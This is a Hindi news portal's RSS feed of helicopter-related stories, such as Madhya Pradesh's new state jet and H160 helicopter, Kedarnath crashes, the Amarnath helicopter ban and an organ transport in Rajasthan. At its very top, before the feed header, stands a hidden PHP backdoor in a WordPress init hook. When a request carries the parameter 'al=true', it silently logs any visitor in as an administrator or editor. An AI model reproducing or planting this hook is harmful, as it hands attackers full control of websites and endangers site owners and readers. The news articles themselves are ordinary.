// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); helicopter – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 24 Apr 2026 05:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मध्य प्रदेश सरकार का VVIP बेड़ा होगा हाईटेक, 24 साल बाद मिलेगा नया जेट, 15 साल बाद नया हेलिकॉप्टर https://pratyushaashakinayikiran.com/?p=214116 Fri, 24 Apr 2026 05:38:00 +0000 https://pratyushaashakinayikiran.com/?p=214116 भोपाल 
राज्य शासन को नए सुपर मिड साइज जेट विमान और ट्विन इंजन हेलिकॉप्टर की डिलेवरी जल्द होने वाली है। राज्य सरकार को मिलने वाला आधुनिक बिजनेस जेट बॉम्बार्डियर चैलेंजर 3500 जुलाई 2026 तक मिल सकता है। यह अत्याधुनिक विमान कनाडा की कंपनी बॉम्बार्डियर इंक. द्वारा तैयार किया जा रहा है।  राज्य सरकार इस विमान को संचालित करने के लिए अपने पायलट को विशेष प्रशिक्षण के लिएअमेरिका भेजेगी। ताकि वे इस अत्याधुनिक जेट को सुरक्षित और कुशलता से उड़ा सकें। 

आधुनिक सुविधाओं से लैस है विमान
करीब 236 करोड़ रुपए के चैलेंजर 3500 एक सुपर मिड-साइज जेट है, जिसमें नौ यात्रियों के बैठने की क्षमता है। इसकी केबिन ऊंचाई लगभग 6 फीट और चौड़ाई 7 फीट 2 इंच है। यह विमान करीब 459 नॉट्स यानी 850 किलोमीटर प्रति घंटा की रफ्तार से उड़ान भर सकता है और लगभग 6,297 किलोमीटर तक की दूरी तय कर सकता है। इसके अलावा, यह 45,000 फीट की ऊंचाई तक उड़ान भरने में सक्षम है और कम लंबाई वाले रनवे (करीब 1,474 मीटर) से भी उड़ान भर सकता है। विमानन विभाग के अपर मुख्य सचिव संजय शुक्ला ने बताया कि जून-जुलाई 2026 में डिलीवरी का समय है।   

H160 हेलीकॉप्टर 2027 तक बेड़े में शामिल होगा
राज्य सरकार का करीब 170 करोड़ का अत्याधुनिक H160 हेलीकॉप्टर जनवरी 2027 तक बेड़े में शामिल हो जाएगा। यह हेलीकॉप्टर फ्रांस की प्रमुख एयरोस्पेस कंपनी एयरबस हेलीकॉप्टर द्वारा निर्मित है। बताया जा रहा है कि भारत में फिलहाल इस मॉडल के केवल 5 से 6 हेलीकॉप्टर ही संचालित हो रहे हैं। 

हर मौसम और रात में उड़ान भरने में सक्षम
विमानन विभाग के अधिकारियों के अनुसार, H160 हेलीकॉप्टर अत्याधुनिक तकनीक से लैस है और हर मौसम में उड़ान भरने के साथ-साथ रात में भी संचालन करने में सक्षम है। इस हेलीकॉप्टर की खासियत इसकी अल्ट्रा-क्वाइट यानी बेहद कम शोर वाली तकनीक है। इसमें अत्याधुनिक जेट इंजन, पूरी तरह वॉयस कंट्रोल्ड कॉकपिट, एडवांस एवियोनिक्स सिस्टम और बेहतर सुरक्षा के लिए बाई-प्लेन स्टेबलाइजर दिया गया है। 

20 हजार फीट की ऊंचाई और 890 किमी की रेंज
H160 हेलीकॉप्टर की प्रमुख खूबियां में यह है कि यह 20 हजार फीट की अधिकमत ऊंचाई तक उड़ान भर सकता है। इसकी रेंज 890 किमी हैं। इसके एक साथ आठ यात्री बैठ सकते है। हेलीकॉप्टर का इंटीरियर लग्जरी और सुविधा को ध्यान में रखकर तैयार किया गया है। 

2002 में खरीदा था पुराना विमान 
सुपर किंग बी-200- यह विमान राज्य शासन ने वर्ष 2002 में रेथ्यॉन एयरक्राफ्ट कंपनी से 23 करोड़( 47,56,804 अमेरिकन डॉलर) में खरीदा था। यह सात सीटर है। ये 3000 हजार घंटे उड़ान कर चुका है। 2021 के दौरान ग्वालियर एयरपोर्ट पर दुर्घटनाग्रस्त हो गया था। न तो उसकी मरम्मत कराई गई और न ही अब तक नया विमान खरीदा जा सका है। स्थिति यह है कि सरकार के पास फिलहाल संचालन योग्य कोई फिक्स्ड-विंग विमान नहीं है और हेलिकॉप्टरों की संख्या भी जरूरत के मुकाबले कम है। इसी कारण सरकारी यात्राओं के लिए निजी एविएशन कंपनियों पर निर्भरता लगातार बढ़ी है, जिससे खर्च में भी इजाफा हुआ है।

पुराने यूरोकॉप्टर की जगह लेगा नया चॉपर
शासन ने ईसी-155, बी-1 हेलीकॉप्टर वर्ष 2011 में फ्रांस की यूरोकॉप्टर कंपनी से खरीदा था। यह उड़ान भर रहा है। इसे 10.5 मिलियन यूरो में खरीदा गया था। दो इंजन है। छह सीटर है। इसका मेंटेनेंस खर्च बढ़ रहा है। पुराने हेलीकॉप्टर की देखरेख पर बढ़ रहे खर्च के कारण सरकार ने अधिक आधुनिक और किफायती विकल्प चुनने का निर्णय लिया। राज्य सरकार के वरिष्ठ पायलट कैप्टन इस हेलीकॉप्टर के संचालन की दो माह की विशेष ट्रेनिंग के लिए फ्रांस जाएंगे। 

 2003 और 1998 में खरीदे थे दो हेलीकॉप्टर 
सरकार ने इससे पहले 2003 में हेलिकॉप्टर बैल-407 अमेरिका से 9 करोड़ रुपए में खरीदा था। यह चार सीटर था। इसके अलावा वर्ष 1998 में अमेरिका से ही 21 करोड़ रुपए हेलिकॉप्टर बैल-430, टेक्सट्रान खरीदा था। यह दो इंजिन का छह सीटर हेलीकॉप्टर था। इनको बहुत पुराने होने के विमानन विभाग ने बेड़े से पहले ही बाहर कर दिया। 

प्रदेश में किराए पर भारी भरकम राशि खर्च 
विधानसभा में पेश जानकारी के अनुसार मध्य प्रदेश सरकार का हवाई यात्रा खर्च लगातार बढ़ रहा है। हाल के कुछ वर्षों में किराये के विमान और हेलिकॉप्टरों पर खर्च औसतन 20 से 21 लाख रुपए प्रतिदिन तक पहुंच गया है। यह जानकारी विधानसभा में पूछे गए सवाल के जवाब में विधानसभा में दी गई। आंकड़ों के मुताबिक, जनवरी 2021 से नवंबर 2025 के बीच सरकार ने निजी विमान और हेलिकॉप्टर किराये पर लेने के लिए करीब 290 करोड़ रुपए खर्च किए। इनमें सिर्फ 2025 के पहले 11 महीनों में ही 90.7 करोड़ रुपए खर्च हुए, जो अब तक का सबसे अधिक वार्षिक खर्च है। सरकार ने बताया कि जनवरी 2024 से नवंबर 2025 के बीच लगभग दो वर्षों में 143 करोड़ रुपए खर्च हुए, जो औसतन 6.2 करोड़ रुपए प्रति माह है। वहीं 2021 से 2023 के बीच तीन वर्षों में खर्च 147 करोड़ रुपए रहा। विधानसभा दस्तावेजों के अनुसार, वर्ष 2023 में विमान और हेलिकॉप्टर किराये की दरों में 20 से 30 प्रतिशत तक बढ़ोतरी की गई। सरकार ने इसके पीछे कोविड के बाद बढ़ी मांग, ईंधन लागत और मेंटेनेंस खर्च बढ़ने को वजह बताया है।

प्रदेश के 31 जिलों में विमानतल और हवाई पटि्टयां उपलब्ध 
प्रदेश में विमानन विभाग एवं विमानन संचालनायल को गठन 1 जून 1982 को किया गया। इस विभाग का काम अतिविशिष्ट व्यक्तियों के लिए शासकीय विमान/हेलीकॉप्टर उपलब्ध कराना, शासन के बेड़े के विमान/हेलीकॉप्टरों का संधारण तथा परिचालन, प्रदेश में वायु सेवाओं का विस्तार के लिए स्वयं के संसाधनों से हवाई पट्टियों का विकास एवं क्षेत्रीय संपर्कता नीति के अंतर्गत राज्य के अंदर और बाहर वायु सेवा का विस्तार करना है। बता दें मध्य प्रदेश के 55 जिलों में से 31 जिलों में विमानतल और हवाई पटि्टयां उपलब्ध हैं। 

 

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भोपाल से ओरछा हेलीकॉप्टर सेवा आज से शुरू, सीएम यादव ने राम नवमी पर प्रदेशवासियों को दी शुभकामनाएं https://pratyushaashakinayikiran.com/?p=208173 Fri, 27 Mar 2026 08:36:00 +0000 https://pratyushaashakinayikiran.com/?p=208173 भोपाल 

मुख्यमंत्री डॉ. मोहन यादव ने राम नवमी के पावन पर्व पर प्रदेशवासियों को हार्दिक बधाई और शुभकामनाएं दी हैं। इस अवसर पर उन्होंने भगवान श्रीराम के जीवन और उनके आदर्शों पर जोर देते हुए कहा कि उनका जीवन संयम, समर्पण और सत्य के मार्ग का उदाहरण है। डॉ. यादव ने कहा कि भगवान श्रीराम ने कठिन परिस्थितियों में भी अनाचार का विरोध किया और जीवन की चुनौतियों का साहस के साथ सामना किया। उन्होंने यह भी बताया कि मध्य प्रदेशवासियों के लिए यह गर्व की बात है कि अयोध्या की तरह चित्रकूट धाम और ओरछा तीर्थ यहाँ स्थित हैं, जो मर्यादा पुरुषोत्तम राम के जीवन और योगदान का स्मरण कराते हैं। मुख्यमंत्री ने कहा कि भगवान श्रीराम के आदर्श सदैव मानवता के पथ-प्रदर्शक बने रहेंगे। 

उप मुख्यमंत्री जगदीश देवड़ा ने भी राम नवमी पर प्रदेशवासियों को शुभकामनाएं दीं। उन्होंने अपने संदेश में कहा कि भगवान श्रीराम का जीवन सत्य, मर्यादा और धर्म का सर्वोच्च उदाहरण है। उनका जीवन हमें कर्तव्यनिष्ठा, परोपकार और समाज के प्रति समर्पण की प्रेरणा देता है। उप मुख्यमंत्री ने राम नवमी का पर्व आपसी प्रेम, सद्भाव और सामाजिक समरसता को मजबूत करने का संदेश देने वाला बताया और प्रदेश में सुख, शांति, समृद्धि और खुशहाली की कामना की। 

इसके साथ ही  आज भोपाल से ओरछा के लिए हेलीकॉप्टर सेवा की भी होगी। यह सेवा यात्रियों के लिए समय की बचत और यात्रा को आसान बनाने में मदद करेगी। 

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टूरिस्ट के लिए तोहफा: संगमरमरी वादियों की हेलिकॉप्टर से सैर और दोगुना एडवेंचर https://pratyushaashakinayikiran.com/?p=177818 Thu, 14 Aug 2025 04:07:00 +0000 https://pratyushaashakinayikiran.com/?p=177818 भेड़ाघाट 

पर्यटक बहुत जल्द भेड़ाघाट की संगमरमरी वादियों को हेलीकॉप्टर से निहार सकेंगे। एडवेंचर स्पोर्ट्स का भी आनंद ले सकेंगे। वाटर स्पोर्ट्स के शौकीनों के लिए पूरे साल एक्टिविटी की जाएंगीं। इसके लिए नगर परिषद ने प्रस्ताव सर्वसम्मति से पारित कर दिया है।

प्रस्ताव में जबलपुर के भेड़ाघाट, धुआंधार, घुघरा वाटर फॉल, लम्हेटा सहित आसपास के दर्शनीय स्थलों को हेलीकॉप्टर से देखने की सुविधा शामिल की गई है। हॉट एयर बैलून, पैरामोटरिंग, पेरा सेलिंग, वाटर स्कूटर, बनाना राइड, वाटर सर्फिंग आदि वाटर स्पोर्ट्स एक्टिविटीज को संचालित करने का प्रस्ताव है। परिषद अध्यक्ष चतुर सिंह लोधी के अनुसार अक्टूबर में चालू करने का प्लान है।

वे नर्मदा के नैसर्गित सौंदर्य को और करीब से जानने का मौका भी मिलेगा। इसके अलावा वाटर स्पोट्र्स के शौकीनों के लिए पूरे साल यहां एक्टिविटी होती रहेंगी। जी हां, भेड़ाघाट में पर्यटकों को विश्वस्तरीय सुविधाओं के साथ जोडऩे का प्रयास शुरू हो चुका है। ताकि स्थानीय के साथ ही देश विदेश से आने वाले सैलानियों को यहां दूसरे प्रदेशों व पर्यटन स्थलों पर मिलने वाली सुविधाएं प्रदान की जा सकें।

 नगर परिषद भेड़ाघाट की सामान्य सभा की बैठक में प्रस्ताव पास, अक्टूबर से शुरू करने का प्लान

    हेलीकॉप्टर हॉट एयर बैलून, पैरामोटरिंग, पेरा सेलिंग, वाटर स्कूटर, बनाना राइड, वाटर सर्फिंग, रिगो राइट एवं अन्य वॉटर स्पोर्ट्स के पूर्ण सूरक्षा संचालन करने का प्रस्ताव सर्वसम्मति से पास

    जल्द ही निविदाएं मंगाई जाएंगी, बढ़ेगा पर्यटकों का फुटफॉल

 प्रस्ताव पास, तैयारियां शुरू

भेड़ाघाट नगर परिषद ने अन्य पर्यटन स्थलों की तरह यहां भी हेलीकॉप्टर सेवा के साथ-साथ एडवेंचर एवं वाटर स्पोर्ट्स शुरू करने का प्रस्ताव सर्व सम्मति से पास कर दिया है। इस प्रस्ताव में भेड़ाघाट, धुआंधार, घुघरा वाटर फॉल, लम्हेटा सहित आसपास के दर्शनीय स्थलों को हेलीकॉप्टर से देखने की सुविधा शामिल की गई है। इसके अलावा एडवेंचर स्पोर्ट्स के शौकीन लोगों के लिए हॉट एयर बैलून, पैरामोटरिंग, पेरा सेलिंग, वाटर स्कूटर, बनाना राइड, वाटर सर्फिंग, रिंगो राइट सहित अन्य वाटर स्पोर्ट्स एकिटविटीज को पूर्ण सुरक्षा के साथ संचालित किए जाने की बात शामिल की गई है। नगर परिषद ने प्रारंभिक तौर पर अपनी तैयारियां शुरू कर दी हैं। हेलीपैड व एडवेंचर स्पोर्ट्स के लिए जगह चिह्नित की जा रही हैं।

 ऑनलाइन निविदा होगी जारी

सोमवार को हुई नगर परिषद की बैठक में लाए गए इस प्रस्ताव को लेकर सभी सदस्यों ने एकमत होकर पास कर दिया। जानकारी के अनुसार हेलीकॉप्टर, एडवेंचर एवं वाटर स्पोर्ट्स का संचालन निजी कंपनियों के सहयोग से कराया जाएगा। इसके लिए जल्द ही ऑनलाइन निविदाएं आमंत्रित की जाएंगी। जिसमें देश की सभी एडवेंचर स्पोर्ट्स संचालित करने वाली कंपनियां शामिल हो सकेंगी।

 उत्तर भारत में जिस तरह से हेलीकॉप्टर सुविधा पर्यटकों को दी जाती है। उसी तर्ज पर हम भेड़ाघाट में इसकी शुरुआत करने जा रहे हैं। हमारा अक्टूबर 2025 में इसे चालू करने का प्लान है। अगले एक सप्ताह में इसकी निविदा जारी हो जाएगी। कंपनियों के आने के बाद ही एक्टिविटी के रेट तय होंगे। हमारा प्रयास है कि सस्ते में अच्छे से अच्छा पर्यटन अनुभव उपलब्ध करा सकें। इससे नगर परिषद की आवक भी बढ़ेगी।

    चतुर सिंह लोधी, अध्यक्ष, नगर परिषद भेड़ाघाट

 पहेलीकॉप्टर यात्रा, एडवेंचर स्पोर्ट्स और वाटर एक्टिविटी को लेकर नगर परिषद में प्रस्ताव पास किया गया है। हेलीपैड के लिए वीआईपी गेट के सामने जगह निर्धारित की गई है। बाकी एक्टिविटी के लिए भी स्थल चिह्नित किए जा रहे हैं।

 

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अमरनाथ यात्रा में इस वर्ष हेलीकॉप्टर सेवा नहीं रहेगी, श्रद्धालुओं की संख्या कम होने का अनुमान https://pratyushaashakinayikiran.com/?p=165007 Thu, 19 Jun 2025 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=165007 भोपाल 

बाबा बर्फानी की पवित्र अमरनाथ यात्रा (Amarnath Yatra) 3 जुलाई से शुरू हो रही है, यह अगस्त तक चलेगी। इस बार यह यात्रा 38 दिनों तक चलेगी। अमरनाथ यात्रा के पूरे मार्ग को श्रीअमरनाथ श्राइन बोर्ड ने एक जुलाई से 10 अगस्त तक नो फ्लाइंग जोन घोषित कर दिया है। ऐसे में पारंपरिक बालटाल और पहलगाम ट्रैक पर यात्रियों के लिए हेलिकॉप्टर सेवाएं उपलब्ध नहीं होंगी। 

तीर्थयात्रियों को पवित्र गुफा तक या तो पैदल जाना होगा या फिर टट्टू या पालकी से पहुंचना होगा। श्रद्धालुओं की सुरक्षा को ध्यान में रखते हुए यह फैसला लिया गया है, लेकिन इससे तीर्थयात्रियों की संख्या पर असर पड़ सकता है। बड़ी संख्या में यात्री हेलिकॉप्टर से पवित्र गुफा तक जाते हैं। इनमें बीमार, बुजुर्ग, दिव्यांग भी शामिल होते हैं। ग्वालियर में भी बड़ी संख्या में ऐसे यात्री हैं, जो हेलिकॉप्टर सेवा के लिए ऑनलाइन बुकिंग शुरू होने का इंतजार कर रहे थे।

बता दें कि 3 जुलाई से शुरू हो रही अमरनाथ यात्रा में हेलिकॉप्टर सेवाएं बंद करने के पीछे आधिकारिक तौर पर कोई कारण नहीं बताया गया है. लेकिन सुरक्षा से जुड़े सूत्रों का कहना है कि आतंकी हेलिकॉप्टरों को निशाना बना सकते थे. इसलिए सरकार को यह फैसला लेना पड़ा हैं.

वैसे कारण चाहे जो भी हों, इस निर्णय का असर व्यापक और गहरा पड़ा है. इसने कश्मीर को एक बार फिर डर के साये में जीने को मजबूर कर दिया हैं. जम्मू-कश्मीर के मुख्यमंत्री उमर अब्दुल्ला ने भी इस फैसले की आलोचना करते हुए कहा कि इससे पूरे देश में कश्मीर की नकारात्मक छवि बनेगी. उन्होंने दुख प्रकट करते हुए कहा कि बैसरन हमले के बाद कश्मीरियों ने दो महीने तक कड़ी मेहनत कर हालात सामान्य किए थे. लेकिन एक फैसले ने सब पर पानी फेर दिया. श्राइन बोर्ड के इस फैसले से उन हजारों श्रद्धालुओं में भी रोष है जो हेलिकॉप्टर से यात्रा करने की योजना बना रहे थे. खासकर ऐसे श्रद्धालु जो उबड़-खाबड़ और पहाड़ी रास्तों में चल पाने में असमर्थ हैं . कई यात्रियों को अब यह संदेह सताने लगा है कि क्या सचमुच में अमरनाथ यात्रा करना पूरी तरह सुरक्षित होगा. इस बार जिस तरह सुरक्षा प्रबंधों को लेकर शोर मचा हुआ है. उससे यह आभास होता है कि कोई बड़ा खतरा वाकई यात्रा पर मंडरा रहा है. ऐसे में यात्रा करने से तो डर तो मन मे बना ही रहेगा.

बताते चलें कि बाबा अमरनाथ यात्रा तीन जुलाई से शुरु हो रही है जो 38 दिन की होगी और रक्षा बंधन वाले दिन 9 अगस्त को संपन्न होगी। पहलगाम व बालटाल रूट से हेलीकॉप्टर सेवा हर साल से चलती आ रही थी। दोनों तरफ के रूट के लिए आनलाइन बुकिंग होती थी और अलग अलग किराया निर्धारित होता था। नो फ्लाइंग जोन घोषित होने से हेलीकॉप्टर सेवा उपलब्ध नहीं करवाने का फैसला किया गया है।

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आज से चारधाम के लिए हेलिकॉप्‍टर सेवा फिर होगी शुरू, केदारनाथ में हुए क्रैश के बाद लगी थी रोक https://pratyushaashakinayikiran.com/?p=164414 Tue, 17 Jun 2025 07:26:00 +0000 https://pratyushaashakinayikiran.com/?p=164414 केदारनाथ:

केदारनाथ घाटी में एक बार फिर से हेलीकॉप्‍टर सेवाएं शुरू कर दी गई हैं. रविवार को केदारनाथ में श्रद्धालुओं को लेकर जा रहा एक हेलीकॉप्‍टर क्रैश हो गया था. जिसके बाद हेलीकॉप्‍टर सेवाएं बंद कर दी गई थी. इस दर्दनाक हादसे में आर्यन एवियेशन प्राइवेट लिमिटेड के हेलीकॉप्टर में सवार सभी सातों लोगों की मौके पर ही मृत्यु हो गयी थी. बता दें केदारनाथ घाटी में  लगातार कई हेलीकॉप्टर दुर्घटनाएं हुई हैं, जो कई तरह के सवाल खड़े कर रही है. पिछले 14 सालों में 13 हादसों में 41 लोगों की जान गई है. 
केदारनाथ धाम में बड़ी हेली दुर्घटनाएं

    25 जून, 2013, एमआई-17 हेलिकॉप्टर गौरीकुंड के पास दुर्घटनाग्रस्त, 21 जवानों की मौत
    28 जून 2013 केदारनाथ से दो किमी आगे गरुड़चट्टी में हेलिकॉप्टर क्रैश, 3 की मौत
    18 अक्तूबर 2022 को केदारनाथ से गुप्तकाशी जा रहा गरूडचटटी के पास पहाड़ी से टकराने से हेलीकप्टर क्रैश, 7 की मौत,
    15 जून 2025 केदारनाथ से गुप्तकाशी लौट रहा हेली गौरी माई खर्क के पास क्रैश, सात की मौत

रविवार की घटना के बाद राज्य के मुख्यमंत्री पुष्कर सिंह धामी ने उच्चाधिकारियों के साथ एक बैठक की थी तथा हेलीकॉप्टर हादसे की उच्चस्तरीय जांच के आदेश देने के अलावा हेली उड़ानों के बेहतर समन्वय के लिए ‘कमांड एवं कोऑर्डिनेशन सेंटर' स्थापित करने के भी निर्देश दिए थे.

बैठक में मुख्यमंत्री ने कहा था कि सोमवार तक चार धाम के लिए हेली सेवा पूर्ण रूप से बंद रहेगी. उन्होंने कहा था, ‘‘चार धाम में सेवा दे रहे सभी हेली ऑपरेटर एवं पायलटों के उच्च हिमालय क्षेत्रों में उड़ान अनुभवों की जांच होगी एवं सभी हेली ऑपरेटर के साथ बैठक के बाद ही हेली सेवा को शुरू किया जाएगा.''उत्तराखंड सिविल एविएशन डेवलपमेंट अथॉरिटी (UCADA) की सीईओ सोनिका ने इस संबंध में जानकारी साझा की.

यहां बता दें कि रविवार को केदारनाथ घाटी में एक निजी हेलीकॉप्टर के दुर्घटनाग्रस्त होने के बाद पांच श्रद्धालुओं सहित सात लोगों की मौत हो गई थी. उत्तराखंड सरकार ने चारधाम यात्रा के लिए हेलीकॉप्टर सेवाओं को तत्काल से दो दिनों के लिए निलंबित कर दिया था. सीएम पुष्कर सिंह धामी ने इस हादसे की उच्चस्तरीय जांच के आदेश दिए और हेली उड़ानों के बेहतर समन्वय के लिए 'कमांड एंड कोऑर्डिनेशन सेंटर' स्थापित करने का निर्देश दिया.

UCADA की सीईओ सोनिका ने बताया कि हेलीकॉप्टर सेवाएं अब डीजीसीए की गाइडलाइन के अनुसार संचालित होंगी. सरकार ने यह भी सुनिश्चित किया है कि सभी हेली ऑपरेटरों और पायलटों के उच्च हिमालयी क्षेत्रों में उड़ान अनुभवों की जांच की जाएगी.  नियमों का उल्लंघन करने वालों के खिलाफ सख्त कार्रवाई की जाएगी. लगातार निगरानी भी की जाएगी. मौसम को देखते हुए ही उड़ान भरने पर फैसला लेने के निर्देश हैं.

शीएम धामी ने क्या कहा था?
वहीं मुख्यमंत्री पुष्कर सिंह धामी ने कहा कि चारधाम यात्रा पर आने वाले श्रद्धालुओं की सुरक्षा और सुविधा हमारी प्राथमिकता है. हेलीकॉप्टर सेवाएं अब सुचारू रूप से चल रही हैं और हम यात्रियों की सुगम यात्रा के लिए प्रतिबद्ध हैं.

उत्तराखंड में लगातार हेलिकॉप्टर हादसों में लोगों की मौत पर सोमवार को हाईकोर्ट ने भी संज्ञान लेते हुए सरकार को नोटिस भेजकर जवाब माँगा है. कोर्ट ने ये भी पूछा क्या एजेंसियां नियमों का पालन कर रहीं हैं. बीते दो महीने में अलग-अलग हुए हेलिकॉप्टर हादसों में 13 लोगों की जान चली गयी है अब तक. रविवार के हादसे के बाद सरकार और एजेंसियों पर बड़े सवाल उठ रहे थे.

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उत्तराखंड: केदारनाथ में बड़ा हादसा टला, बीच सड़क पर हेलिकॉप्टर की इमरजेंसी लैंडिंग https://pratyushaashakinayikiran.com/?p=162057 Sat, 07 Jun 2025 09:19:00 +0000 https://pratyushaashakinayikiran.com/?p=162057 रुद्रप्रयाग
रुद्रप्रयाग जनपद के बडासू क्षेत्र में केदारनाथ के लिए जा रहा एक हेलिकॉप्टर तकनीकी खराबी के चलते अचानक सड़क पर लैंड हुआ। हेलिकॉप्टर श्रद्धालुओं को लेकर केदारनाथ धाम की ओर जा रहा था, लेकिन रास्ते में आपात स्थिति के कारण पायलट ने सूझबूझ दिखाते हुए हेलीकॉप्टर को बडासू के पास सुरक्षित सड़क पर उतारा।

स्थानीय प्रशासन और पुलिस टीम तुरंत मौके पर पहुंच गई और यात्रियों को सुरक्षित स्थान पर भेजा गया। क्रिस्टल एविएशन कंपनी का हेली बताया जा रहा है। हेलिकॉप्टर ने बड़ासु हेलीपैड से केदारनाथ के लिए उड़ान भरी थी और टेकऑफ होते ही इमरजेंसी लैंडिंग सड़क पर करनी पड़ी। हेलिकॉप्टर में पांच यात्री, पायलट और सह पायलट सवार थे। सह पायलट को हल्की चोट की सूचना है।

सीईओ यूकाडा सोनिका ने जानकारी दी कि क्रिस्टल एविएशन प्राइवेट लिमिटेड के हेलिकॉप्टर ने यात्रियों को लेकर सिरसी से उड़ान भरते समय हेलीपैड के अलावा सड़क पर एहतियातन लैंडिंग की।किसी के हताहत होने की खबर नहीं है। डीजीसीए को सूचित कर दिया गया है बाकी शटर ऑपरेशन तय कार्यक्रम के अनुसार सामान्य चल रहे हैं।

यात्रियों में मची अफरा-तफरी, लेकिन कोई घायल नहीं

हेलीकॉप्टर के अचानक नीचे उतरने की जानकारी मिलते ही स्थानीय लोगों और तीर्थयात्रियों में हलचल मच गई। लेकिन जल्द ही राहत की सांस ली गई जब यह स्पष्ट हुआ कि कोई भी यात्री घायल नहीं हुआ है। हेलीकॉप्टर में कुल सात लोग सवार थे, जिनमें पायलट समेत छह यात्री थे। सभी को सुरक्षित बाहर निकाल लिया गया।
मौके पर पहुंची प्रशासन और तकनीकी टीम

हादसे की सूचना मिलते ही जिला प्रशासन और हवाई सुरक्षा संबंधित अधिकारी मौके पर पहुंचे। हेलीपैड से तकनीकी विशेषज्ञों की टीम को बुलाया गया ताकि हेलीकॉप्टर की जांच की जा सके और यह पता लगाया जा सके कि तकनीकी खराबी की वजह क्या थी। फिलहाल हेलीकॉप्टर को उड़ान के लिए अनुपयुक्त घोषित कर दिया गया है और उसे सड़क मार्ग से हटाने की प्रक्रिया शुरू कर दी गई है।

कौन-कौन था हेलिकॉप्टर में?
हेलिकॉप्टर में 5 यात्री, 1 पायलट और 1 सह पायलट सवार थे। सभी लोग सुरक्षित हैं, लेकिन सह पायलट को मामूली चोटें आई हैं। स्थानीय प्रशासन और पुलिस की टीम तुरंत मौके पर पहुंच गई। सभी यात्रियों को सुरक्षित स्थान पर भेज दिया गया। इस घटना की जानकारी डीजीसीए (DGCA) को भी दे दी गई है।

क्या बाकी हेलिकॉप्टर सेवाएं चालू हैं?
यूकाडा (UCADA) की सीईओ सोनिका ने बताया कि बाकी सभी हेलिकॉप्टर सेवाएं तय समय पर सामान्य रूप से जारी हैं। ये लैंडिंग सिर्फ एहतियात के तौर पर की गई थी ताकि यात्रियों की सुरक्षा सुनिश्चित की जा सके।

पिछले माह भी हुआ था हेलिकॉप्टर हादसा
पिछले महीने भी केदारनाथ धाम में लैंडिंग के समय हेली एम्बुलेंस दुर्घटनाग्रस्त हो गया था। हेली एंबुलेंस ऋषिकेश एम्स का था, जोकि ऋषिकेश से केदारनाथ जा रहा था। वहीं बीते आठ मई को ही गंगोत्री धाम जा रहा एक हेलिकॉप्टर गंगनानी के समीप दुर्घटनाग्रस्त हो गया था। इस घटना में पांच महिलाओं समेत छह लोगों ने मौके पर ही दम तोड़ दिया।

एक व्यक्ति गंभीर रूप से घायल हो गया था। गंगनानी का हेलिकॉप्टर हादसा बहुत भयावह था। वहां पर खोज-बचाव अभियान चला रहे अधिकारी कर्मचारियों ने बताया कि घटना में हेलिकॉप्टर के भी दो टुकड़े हो गए थे। वहीं दो शव हेलिकॉप्टर में ही फंस गए थे। उन्हें निकालने के लिए हेली को काटना पड़ा था। वहीं करीब 200 मीटर गहरी खाई में रेस्क्यू अभियान चलाना बहुत मुश्किल था।

 

 

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जयपुर में हेलिकॉप्टर से पहली बार ऑर्गन ट्रांसप्लांट, ग्रीन कॉरिडोर बनाकर चार लोगों को दिया जीवनदान https://pratyushaashakinayikiran.com/?p=109998 Sun, 15 Dec 2024 13:55:00 +0000 https://pratyushaashakinayikiran.com/?p=109998 जयपुर/झालावाड़।

राजस्थान में अंगदान के क्षेत्र में नया इतिहास रचा गया जब एक ब्रेनडेड युवक के अंगों को हेलिकॉप्टर के जरिए ट्रांसप्लांट सेंटर तक पहुंचाया गया। यह घटना उन मरीजों के लिए जीवनदायिनी बनी, जो वर्षों से ऑर्गन ट्रांसप्लांट का इंतजार कर रहे थे। झालावाड़ जिले के पीपाजी निवासी विष्णु (33) को 10 दिसंबर को झगड़े के बाद गंभीर चोटें आईं, जिसके बाद उन्हें ब्रेनडेड घोषित कर दिया गया।

विष्णु के परिवार ने 13 दिसंबर को साहसिक कदम उठाते हुए ऑर्गन डोनेशन की सहमति दी। इसके बाद जयपुर और जोधपुर में जरूरतमंद मरीजों के लिए अंगों को विशेष हेलिकॉप्टर के जरिए ट्रांसपोर्ट किया गया। रविवार सुबह करीब 11:30 बजे, झालावाड़ से हेलिकॉप्टर ने ऑर्गन लेकर उड़ान भरी और कुछ समय बाद जयपुर के एसएमएस मेडिकल कॉलेज में लैंडिंग की। ऑर्गन को दो विशेष बॉक्सों में रखा गया था, जिसमें से एक जयपुर के लिए और दूसरा जोधपुर के लिए भेजा गया।

"ग्रीन कॉरिडोर" की मदद से जयपुर हॉस्पिटल तक ऑर्गन ट्रांसपोर्ट
जयपुर में हार्ट और लंग्स को तत्काल एसएमएस हॉस्पिटल तक पहुंचाया गया, जहां मरीजों की सर्जरी के लिए पहले से तैयारी की जा चुकी थी। हेलिकॉप्टर की रिफ्यूलिंग के बाद, दूसरा बॉक्स लेकर हेलिकॉप्टर ने जोधपुर एम्स के लिए उड़ान भरी और दोपहर 12:45 बजे स्पोर्ट्स ग्राउंड में लैंडिंग की।

जयपुर में 2 मरीजों को जीवनदान
हार्ट और लंग्स ट्रांसप्लांट: जयपुर के एसएमएस हॉस्पिटल में एक मरीज को हार्ट और लंग्स ट्रांसप्लांट किया जाएगा। यह ऑपरेशन करीब 12 घंटे चलेगा, जिसमें ट्रांसप्लांट टीम, एनेस्थीसिया एक्सपर्ट, नर्सिंग स्टाफ और ट्रांसप्लांट कोऑर्डिनेटर की 25 सदस्यीय टीम शामिल होगी।

किडनी ट्रांसप्लांट: जयपुर के एसएसबी सुपर स्पेशलिस्ट बिल्डिंग में एक अन्य मरीज को किडनी का प्रत्यारोपण किया जाएगा।

जोधपुर में 2 अंगों का प्रत्यारोपण
लिवर और किडनी ट्रांसप्लांट: जोधपुर एम्स में एक मरीज को लिवर और एक अन्य मरीज को किडनी प्रत्यारोपित की जाएगी। सर्जरी की तैयारी पहले से की जा चुकी थी और इस ऑपरेशन में भी करीब 12 घंटे का समय लगेगा।

